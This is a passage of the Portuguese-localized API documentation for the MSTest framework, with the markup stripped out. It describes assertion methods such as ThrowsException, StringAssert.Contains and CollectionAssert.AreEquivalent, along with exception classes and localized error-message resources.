AssertFailedException. - - - A mensagem a ser incluída na exceção. A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Always thrown. - - - - - Gera uma AssertInconclusiveException. - - - Always thrown. - - - - - Gera uma AssertInconclusiveException. - - - A mensagem a ser incluída na exceção. A mensagem é mostrada nos - resultados de teste. - - - Always thrown. - - - - - Gera uma AssertInconclusiveException. - - - A mensagem a ser incluída na exceção. A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Always thrown. - - - - - Os métodos estático igual a sobrecargas são usados para comparar instâncias de dois tipos em relação à igualdade de - referência. Esse método não deve ser usado para comparar a igualdade de - duas instâncias. Esse objeto sempre gerará Assert.Fail. Use - Assert.AreEqual e sobrecargas associadas nos testes de unidade. - - Objeto A - Objeto B - Sempre falso. - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera - - AssertFailedException - - se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - - Delegado ao código a ser testado e que é esperado que gere exceção. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - O tipo de exceção que se espera que seja gerada. - - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera - - AssertFailedException - - se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - - Delegado ao código a ser testado e que é esperado que gere exceção. - - - A mensagem a ser incluída na exceção quando - não gera exceção de tipo . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - O tipo de exceção que se espera que seja gerada. - - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera - - AssertFailedException - - se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - - Delegado ao código a ser testado e que é esperado que gere exceção. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - O tipo de exceção que se espera que seja gerada. - - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera - - AssertFailedException - - se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - - Delegado ao código a ser testado e que é esperado que gere exceção. - - - A mensagem a ser incluída na exceção quando - não gera exceção de tipo . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - O tipo de exceção que se espera que seja gerada. - - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera - - AssertFailedException - - se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - - Delegado ao código a ser testado e que é esperado que gere exceção. - - - A mensagem a ser incluída na exceção quando - não gera exceção de tipo . - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - O tipo de exceção que se espera que seja gerada. - - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera - - AssertFailedException - - se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - - Delegado ao código a ser testado e que é esperado que gere exceção. - - - A mensagem a ser incluída na exceção quando - não gera exceção de tipo . - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - O tipo de exceção que se espera que seja gerada. - - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera - - AssertFailedException - - se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - - Delegado ao código a ser testado e que é esperado que gere exceção. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - O executando o representante. - - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera AssertFailedException se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - Delegado ao código a ser testado e que é esperado que gere exceção. - - A mensagem a ser incluída na exceção quando - não gera exceção de tipo . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - O executando o representante. - - - - - Testa se o código especificado pelo delegado gera a exceção exata especificada de tipo (e não de tipo derivado) - e gera AssertFailedException se o código não gera uma exceção ou gera uma exceção de outro tipo diferente de . - - Delegado ao código a ser testado e que é esperado que gere exceção. - - A mensagem a ser incluída na exceção quando - não gera exceção de tipo . - - - Uma matriz de parâmetros a serem usados ao formatar . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - O executando o representante. - - - - - Substitui os caracteres nulos ('\0') por "\\0". - - - A cadeia de caracteres a ser pesquisada. - - - A cadeia de caracteres convertida com os caracteres nulos substituídos por "\\0". - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Função auxiliar que cria e gera uma AssertionFailedException - - - nome da asserção que gera uma exceção - - - mensagem que descreve as condições da falha de asserção - - - Os parâmetros. - - - - - Verifica o parâmetro das condições válidas - - - O parâmetro. - - - O Nome da asserção. - - - nome do parâmetro - - - mensagem da exceção de parâmetro inválido - - - Os parâmetros. - - - - - Converte com segurança um objeto em uma cadeia de caracteres manipulando valores e caracteres nulos. - Os valores nulos são convertidos em "(null)". Os caracteres nulos são convertidos em "\\0". - - - O objeto a ser convertido em uma cadeia de caracteres. - - - A cadeia de caracteres convertida. - - - - - A asserção da cadeia de caracteres. - - - - - Obtém a instância singleton da funcionalidade CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testa se a cadeia de caracteres especificada contém a subcadeia especificada - e gera uma exceção se a subcadeia não ocorre na - cadeia de teste. - - - A cadeia de caracteres que se espera que contenha . - - - A cadeia de caracteres que se espera que ocorra em . - - - Thrown if is not found in - . - - - - - Testa se a cadeia de caracteres especificada contém a subcadeia especificada - e gera uma exceção se a subcadeia não ocorre na - cadeia de teste. - - - A cadeia de caracteres que se espera que contenha . - - - A cadeia de caracteres que se espera que ocorra em . - - - A mensagem a ser incluída na exceção quando - não está em . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is not found in - . - - - - - Testa se a cadeia de caracteres especificada contém a subcadeia especificada - e gera uma exceção se a subcadeia não ocorre na - cadeia de teste. - - - A cadeia de caracteres que se espera que contenha . - - - A cadeia de caracteres que se espera que ocorra em . - - - A mensagem a ser incluída na exceção quando - não está em . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not found in - . - - - - - Testa se a cadeia de caracteres especificada começa com a subcadeia especificada - e gera uma exceção se a cadeia de teste não começa com a - subcadeia. - - - A cadeia de caracteres que se espera que comece com . - - - A cadeia de caracteres que se espera que seja um prefixo de . - - - Thrown if does not begin with - . - - - - - Testa se a cadeia de caracteres especificada começa com a subcadeia especificada - e gera uma exceção se a cadeia de teste não começa com a - subcadeia. - - - A cadeia de caracteres que se espera que comece com . - - - A cadeia de caracteres que se espera que seja um prefixo de . - - - A mensagem a ser incluída na exceção quando - não começa com . A mensagem é - mostrada nos resultados de teste. - - - Thrown if does not begin with - . - - - - - Testa se a cadeia de caracteres especificada começa com a subcadeia especificada - e gera uma exceção se a cadeia de teste não começa com a - subcadeia. - - - A cadeia de caracteres que se espera que comece com . - - - A cadeia de caracteres que se espera que seja um prefixo de . - - - A mensagem a ser incluída na exceção quando - não começa com . A mensagem é - mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if does not begin with - . - - - - - Testa se a cadeia de caracteres especificada termina com a subcadeia especificada - e gera uma exceção se a cadeia de teste não termina com a - subcadeia. - - - A cadeia de caracteres que se espera que termine com . - - - A cadeia de caracteres que se espera que seja um sufixo de . - - - Thrown if does not end with - . - - - - - Testa se a cadeia de caracteres especificada termina com a subcadeia especificada - e gera uma exceção se a cadeia de teste não termina com a - subcadeia. - - - A cadeia de caracteres que se espera que termine com . - - - A cadeia de caracteres que se espera que seja um sufixo de . - - - A mensagem a ser incluída na exceção quando - não termina com . A mensagem é - mostrada nos resultados de teste. - - - Thrown if does not end with - . - - - - - Testa se a cadeia de caracteres especificada termina com a subcadeia especificada - e gera uma exceção se a cadeia de teste não termina com a - subcadeia. - - - A cadeia de caracteres que se espera que termine com . - - - A cadeia de caracteres que se espera que seja um sufixo de . - - - A mensagem a ser incluída na exceção quando - não termina com . A mensagem é - mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if does not end with - . - - - - - Testa se a cadeia de caracteres especificada corresponde a uma expressão regular e - gera uma exceção se a cadeia não corresponde à expressão. - - - A cadeia de caracteres que se espera que corresponda a . - - - A expressão regular com a qual se espera que tenha - correspondência. - - - Thrown if does not match - . - - - - - Testa se a cadeia de caracteres especificada corresponde a uma expressão regular e - gera uma exceção se a cadeia não corresponde à expressão. - - - A cadeia de caracteres que se espera que corresponda a . - - - A expressão regular com a qual se espera que tenha - correspondência. - - - A mensagem a ser incluída na exceção quando - não corresponde a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if does not match - . - - - - - Testa se a cadeia de caracteres especificada corresponde a uma expressão regular e - gera uma exceção se a cadeia não corresponde à expressão. - - - A cadeia de caracteres que se espera que corresponda a . - - - A expressão regular com a qual se espera que tenha - correspondência. - - - A mensagem a ser incluída na exceção quando - não corresponde a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if does not match - . - - - - - Testa se a cadeia de caracteres especificada não corresponde a uma expressão regular - e gera uma exceção se a cadeia corresponde à expressão. - - - A cadeia de caracteres que se espera que não corresponda a . - - - A expressão regular com a qual se espera que é - esperado não corresponder. - - - Thrown if matches . - - - - - Testa se a cadeia de caracteres especificada não corresponde a uma expressão regular - e gera uma exceção se a cadeia corresponde à expressão. - - - A cadeia de caracteres que se espera que não corresponda a . - - - A expressão regular com a qual se espera que é - esperado não corresponder. - - - A mensagem a ser incluída na exceção quando - corresponde a . A mensagem é mostrada nos resultados de - teste. - - - Thrown if matches . - - - - - Testa se a cadeia de caracteres especificada não corresponde a uma expressão regular - e gera uma exceção se a cadeia corresponde à expressão. - - - A cadeia de caracteres que se espera que não corresponda a . - - - A expressão regular com a qual se espera que é - esperado não corresponder. - - - A mensagem a ser incluída na exceção quando - corresponde a . A mensagem é mostrada nos resultados de - teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if matches . - - - - - Uma coleção de classes auxiliares para testar várias condições associadas - às coleções nos testes de unidade. Se a condição testada não é - atendida, uma exceção é gerada. - - - - - Obtém a instância singleton da funcionalidade CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testa se a coleção especificada contém o elemento especificado - e gera uma exceção se o elemento não está na coleção. - - - A coleção na qual pesquisar o elemento. - - - O elemento que se espera que esteja na coleção. - - - Thrown if is not found in - . - - - - - Testa se a coleção especificada contém o elemento especificado - e gera uma exceção se o elemento não está na coleção. - - - A coleção na qual pesquisar o elemento. - - - O elemento que se espera que esteja na coleção. - - - A mensagem a ser incluída na exceção quando - não está em . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is not found in - . - - - - - Testa se a coleção especificada contém o elemento especificado - e gera uma exceção se o elemento não está na coleção. - - - A coleção na qual pesquisar o elemento. - - - O elemento que se espera que esteja na coleção. - - - A mensagem a ser incluída na exceção quando - não está em . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not found in - . - - - - - Testa se a coleção especificada não contém o elemento - especificado e gera uma exceção se o elemento está na coleção. - - - A coleção na qual pesquisar o elemento. - - - O elemento que se espera que não esteja na coleção. - - - Thrown if is found in - . - - - - - Testa se a coleção especificada não contém o elemento - especificado e gera uma exceção se o elemento está na coleção. - - - A coleção na qual pesquisar o elemento. - - - O elemento que se espera que não esteja na coleção. - - - A mensagem a ser incluída na exceção quando - está em . A mensagem é mostrada nos resultados de - teste. - - - Thrown if is found in - . - - - - - Testa se a coleção especificada não contém o elemento - especificado e gera uma exceção se o elemento está na coleção. - - - A coleção na qual pesquisar o elemento. - - - O elemento que se espera que não esteja na coleção. - - - A mensagem a ser incluída na exceção quando - está em . A mensagem é mostrada nos resultados de - teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is found in - . - - - - - Testa se todos os itens na coleção especificada são não nulos e gera - uma exceção se algum elemento é nulo. - - - A coleção na qual pesquisar elementos nulos. - - - Thrown if a null element is found in . - - - - - Testa se todos os itens na coleção especificada são não nulos e gera - uma exceção se algum elemento é nulo. - - - A coleção na qual pesquisar elementos nulos. - - - A mensagem a ser incluída na exceção quando - contém um elemento nulo. A mensagem é mostrada nos resultados de teste. - - - Thrown if a null element is found in . - - - - - Testa se todos os itens na coleção especificada são não nulos e gera - uma exceção se algum elemento é nulo. - - - A coleção na qual pesquisar elementos nulos. - - - A mensagem a ser incluída na exceção quando - contém um elemento nulo. A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if a null element is found in . - - - - - Testa se todos os itens na coleção especificada são exclusivos ou não e - gera uma exceção se dois elementos na coleção são iguais. - - - A coleção na qual pesquisar elementos duplicados. - - - Thrown if a two or more equal elements are found in - . - - - - - Testa se todos os itens na coleção especificada são exclusivos ou não e - gera uma exceção se dois elementos na coleção são iguais. - - - A coleção na qual pesquisar elementos duplicados. - - - A mensagem a ser incluída na exceção quando - contém pelo menos um elemento duplicado. A mensagem é mostrada nos - resultados de teste. - - - Thrown if a two or more equal elements are found in - . - - - - - Testa se todos os itens na coleção especificada são exclusivos ou não e - gera uma exceção se dois elementos na coleção são iguais. - - - A coleção na qual pesquisar elementos duplicados. - - - A mensagem a ser incluída na exceção quando - contém pelo menos um elemento duplicado. A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if a two or more equal elements are found in - . - - - - - Testa se uma coleção é um subconjunto de outra coleção e - gera uma exceção se algum elemento no subconjunto não está também no - superconjunto. - - - A coleção que se espera que seja um subconjunto de . - - - A coleção que se espera que seja um superconjunto de - - - Thrown if an element in is not found in - . - - - - - Testa se uma coleção é um subconjunto de outra coleção e - gera uma exceção se algum elemento no subconjunto não está também no - superconjunto. - - - A coleção que se espera que seja um subconjunto de . - - - A coleção que se espera que seja um superconjunto de - - - A mensagem a ser incluída na exceção quando um elemento em - não é encontrado em . - A mensagem é mostrada nos resultados de teste. - - - Thrown if an element in is not found in - . - - - - - Testa se uma coleção é um subconjunto de outra coleção e - gera uma exceção se algum elemento no subconjunto não está também no - superconjunto. - - - A coleção que se espera que seja um subconjunto de . - - - A coleção que se espera que seja um superconjunto de - - - A mensagem a ser incluída na exceção quando um elemento em - não é encontrado em . - A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if an element in is not found in - . - - - - - Testa se uma coleção não é um subconjunto de outra coleção e - gera uma exceção se todos os elementos no subconjunto também estão no - superconjunto. - - - A coleção que se espera que não seja um subconjunto de . - - - A coleção que se espera que não seja um superconjunto de - - - Thrown if every element in is also found in - . - - - - - Testa se uma coleção não é um subconjunto de outra coleção e - gera uma exceção se todos os elementos no subconjunto também estão no - superconjunto. - - - A coleção que se espera que não seja um subconjunto de . - - - A coleção que se espera que não seja um superconjunto de - - - A mensagem a ser incluída na exceção quando todo elemento em - também é encontrado em . - A mensagem é mostrada nos resultados de teste. - - - Thrown if every element in is also found in - . - - - - - Testa se uma coleção não é um subconjunto de outra coleção e - gera uma exceção se todos os elementos no subconjunto também estão no - superconjunto. - - - A coleção que se espera que não seja um subconjunto de . - - - A coleção que se espera que não seja um superconjunto de - - - A mensagem a ser incluída na exceção quando todo elemento em - também é encontrado em . - A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if every element in is also found in - . - - - - - Testa se duas coleções contêm os mesmos elementos e gera uma - exceção se alguma das coleções contém um elemento que não está presente na outra - coleção. - - - A primeira coleção a ser comparada. Ela contém os elementos esperados pelo - teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida - pelo código em teste. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testa se duas coleções contêm os mesmos elementos e gera uma - exceção se alguma das coleções contém um elemento que não está presente na outra - coleção. - - - A primeira coleção a ser comparada. Ela contém os elementos esperados pelo - teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida - pelo código em teste. - - - A mensagem a ser incluída na exceção quando um elemento foi encontrado - em uma das coleções, mas não na outra. A mensagem é mostrada - nos resultados de teste. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testa se duas coleções contêm os mesmos elementos e gera uma - exceção se alguma das coleções contém um elemento que não está presente na outra - coleção. - - - A primeira coleção a ser comparada. Ela contém os elementos esperados pelo - teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida - pelo código em teste. - - - A mensagem a ser incluída na exceção quando um elemento foi encontrado - em uma das coleções, mas não na outra. A mensagem é mostrada - nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testa se duas coleções contêm elementos diferentes e gera uma - exceção se as duas coleções contêm elementos idênticos sem levar em consideração - a ordem. - - - A primeira coleção a ser comparada. Ela contém os elementos que o teste - espera que sejam diferentes em relação à coleção real. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida - pelo código em teste. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testa se duas coleções contêm elementos diferentes e gera uma - exceção se as duas coleções contêm elementos idênticos sem levar em consideração - a ordem. - - - A primeira coleção a ser comparada. Ela contém os elementos que o teste - espera que sejam diferentes em relação à coleção real. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida - pelo código em teste. - - - A mensagem a ser incluída na exceção quando - contém os mesmos elementos que . A mensagem - é mostrada nos resultados de teste. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testa se duas coleções contêm elementos diferentes e gera uma - exceção se as duas coleções contêm elementos idênticos sem levar em consideração - a ordem. - - - A primeira coleção a ser comparada. Ela contém os elementos que o teste - espera que sejam diferentes em relação à coleção real. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida - pelo código em teste. - - - A mensagem a ser incluída na exceção quando - contém os mesmos elementos que . A mensagem - é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testa se todos os elementos na coleção especificada são instâncias - do tipo esperado e gera uma exceção se o tipo esperado não - está na hierarquia de herança de um ou mais dos elementos. - - - A coleção que contém elementos que o teste espera que sejam do - tipo especificado. - - - O tipo esperado de cada elemento de . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testa se todos os elementos na coleção especificada são instâncias - do tipo esperado e gera uma exceção se o tipo esperado não - está na hierarquia de herança de um ou mais dos elementos. - - - A coleção que contém elementos que o teste espera que sejam do - tipo especificado. - - - O tipo esperado de cada elemento de . - - - A mensagem a ser incluída na exceção quando um elemento em - não é uma instância de - . A mensagem é mostrada nos resultados de teste. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testa se todos os elementos na coleção especificada são instâncias - do tipo esperado e gera uma exceção se o tipo esperado não - está na hierarquia de herança de um ou mais dos elementos. - - - A coleção que contém elementos que o teste espera que sejam do - tipo especificado. - - - O tipo esperado de cada elemento de . - - - A mensagem a ser incluída na exceção quando um elemento em - não é uma instância de - . A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testa se as coleções especificadas são iguais e gera uma exceção - se as duas coleções não são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção esperada pelo teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - Thrown if is not equal to - . - - - - - Testa se as coleções especificadas são iguais e gera uma exceção - se as duas coleções não são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção esperada pelo teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is not equal to - . - - - - - Testa se as coleções especificadas são iguais e gera uma exceção - se as duas coleções não são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção esperada pelo teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not equal to - . - - - - - Testa se as coleções especificadas são desiguais e gera uma exceção - se as duas coleções são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção que o teste espera - que não corresponda a . - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - Thrown if is equal to . - - - - - Testa se as coleções especificadas são desiguais e gera uma exceção - se as duas coleções são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção que o teste espera - que não corresponda a . - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is equal to . - - - - - Testa se as coleções especificadas são desiguais e gera uma exceção - se as duas coleções são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção que o teste espera - que não corresponda a . - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is equal to . - - - - - Testa se as coleções especificadas são iguais e gera uma exceção - se as duas coleções não são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção esperada pelo teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A implementação de comparação a ser usada ao comparar elementos da coleção. - - - Thrown if is not equal to - . - - - - - Testa se as coleções especificadas são iguais e gera uma exceção - se as duas coleções não são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção esperada pelo teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A implementação de comparação a ser usada ao comparar elementos da coleção. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is not equal to - . - - - - - Testa se as coleções especificadas são iguais e gera uma exceção - se as duas coleções não são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção esperada pelo teste. - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A implementação de comparação a ser usada ao comparar elementos da coleção. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not equal to - . - - - - - Testa se as coleções especificadas são desiguais e gera uma exceção - se as duas coleções são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção que o teste espera - que não corresponda a . - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A implementação de comparação a ser usada ao comparar elementos da coleção. - - - Thrown if is equal to . - - - - - Testa se as coleções especificadas são desiguais e gera uma exceção - se as duas coleções são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção que o teste espera - que não corresponda a . - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A implementação de comparação a ser usada ao comparar elementos da coleção. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is equal to . - - - - - Testa se as coleções especificadas são desiguais e gera uma exceção - se as duas coleções são iguais. A igualdade é definida como tendo os mesmos - elementos na mesma ordem e quantidade. Referências diferentes ao mesmo - valor são consideradas iguais. - - - A primeira coleção a ser comparada. Trata-se da coleção que o teste espera - que não corresponda a . - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A implementação de comparação a ser usada ao comparar elementos da coleção. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is equal to . - - - - - Determina se a primeira coleção é um subconjunto da segunda - coleção. Se os conjuntos contiverem elementos duplicados, o número - de ocorrências do elemento no subconjunto deverá ser menor ou igual - ao número de ocorrências no superconjunto. - - - A coleção que o teste espera que esteja contida em . - - - A coleção que o teste espera que contenha . - - - Verdadeiro se é um subconjunto de - , caso contrário, falso. - - - - - Cria um dicionário contendo o número de ocorrências de cada - elemento na coleção especificada. - - - A coleção a ser processada. - - - O número de elementos nulos na coleção. - - - Um dicionário contendo o número de ocorrências de cada elemento - na coleção especificada. - - - - - Encontra um elemento incompatível entre as duas coleções. Um elemento - incompatível é aquele que aparece um número diferente de vezes na - coleção esperada em relação à coleção real. É pressuposto que - as coleções sejam referências não nulas diferentes com o - mesmo número de elementos. O chamador é responsável por esse nível de - verificação. Se não houver nenhum elemento incompatível, a função retornará - falso e os parâmetros de saída não deverão ser usados. - - - A primeira coleção a ser comparada. - - - A segunda coleção a ser comparada. - - - O número esperado de ocorrências de - ou 0 se não houver nenhum elemento - incompatível. - - - O número real de ocorrências de - ou 0 se não houver nenhum elemento - incompatível. - - - O elemento incompatível (poderá ser nulo) ou nulo se não houver nenhum - elemento incompatível. - - - verdadeiro se um elemento incompatível foi encontrado. Caso contrário, falso. - - - - - compara os objetos usando object.Equals - - - - - Classe base para exceções do Framework. - - - - - Inicializa uma nova instância da classe . - - - - - Inicializa uma nova instância da classe . - - A mensagem. - A exceção. - - - - Inicializa uma nova instância da classe . - - A mensagem. - - - - Uma classe de recurso fortemente tipada para pesquisar cadeias de caracteres localizadas, etc. - - - - - Retorna a instância de ResourceManager armazenada em cache usada por essa classe. - - - - - Substitui a propriedade CurrentUICulture do thread atual em todas - as pesquisas de recursos usando essa classe de recurso fortemente tipada. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a A cadeia de caracteres de acesso tem sintaxe inválida. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a A coleção esperada contém {1} ocorrência(s) de <{2}>. A coleção real contém {3} ocorrência(s). {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Item duplicado encontrado:<{1}>. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Esperado:<{1}>. Maiúsculas e minúsculas diferentes para o valor real:<{2}>. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Esperada uma diferença não maior que <{3}> entre o valor esperado <{1}> e o valor real <{2}>. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Esperado:<{1} ({2})>. Real:<{3} ({4})>. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Esperado:<{1}>. Real:<{2}>. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Esperada uma diferença maior que <{3}> entre o valor esperado <{1}> e o valor real <{2}>. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a É esperado qualquer valor, exceto:<{1}>. Real:<{2}>. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Não passe tipos de valores para AreSame(). Os valores convertidos em Object nunca serão os mesmos. Considere usar AreEqual(). {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante à Falha em {0}. {1}. - - - - - Pesquisa uma cadeia de caracteres localizada similar a TestMethod assíncrono com UITestMethodAttribute sem suporte. Remova o assíncrono ou use o TestMethodAttribute. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Ambas as coleções estão vazias. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Ambas as coleções contêm os mesmos elementos. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Ambas as referências de coleções apontam para o mesmo objeto de coleção. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Ambas as coleções contêm os mesmos elementos. {0}. - - - - - Pesquisa uma cadeia de 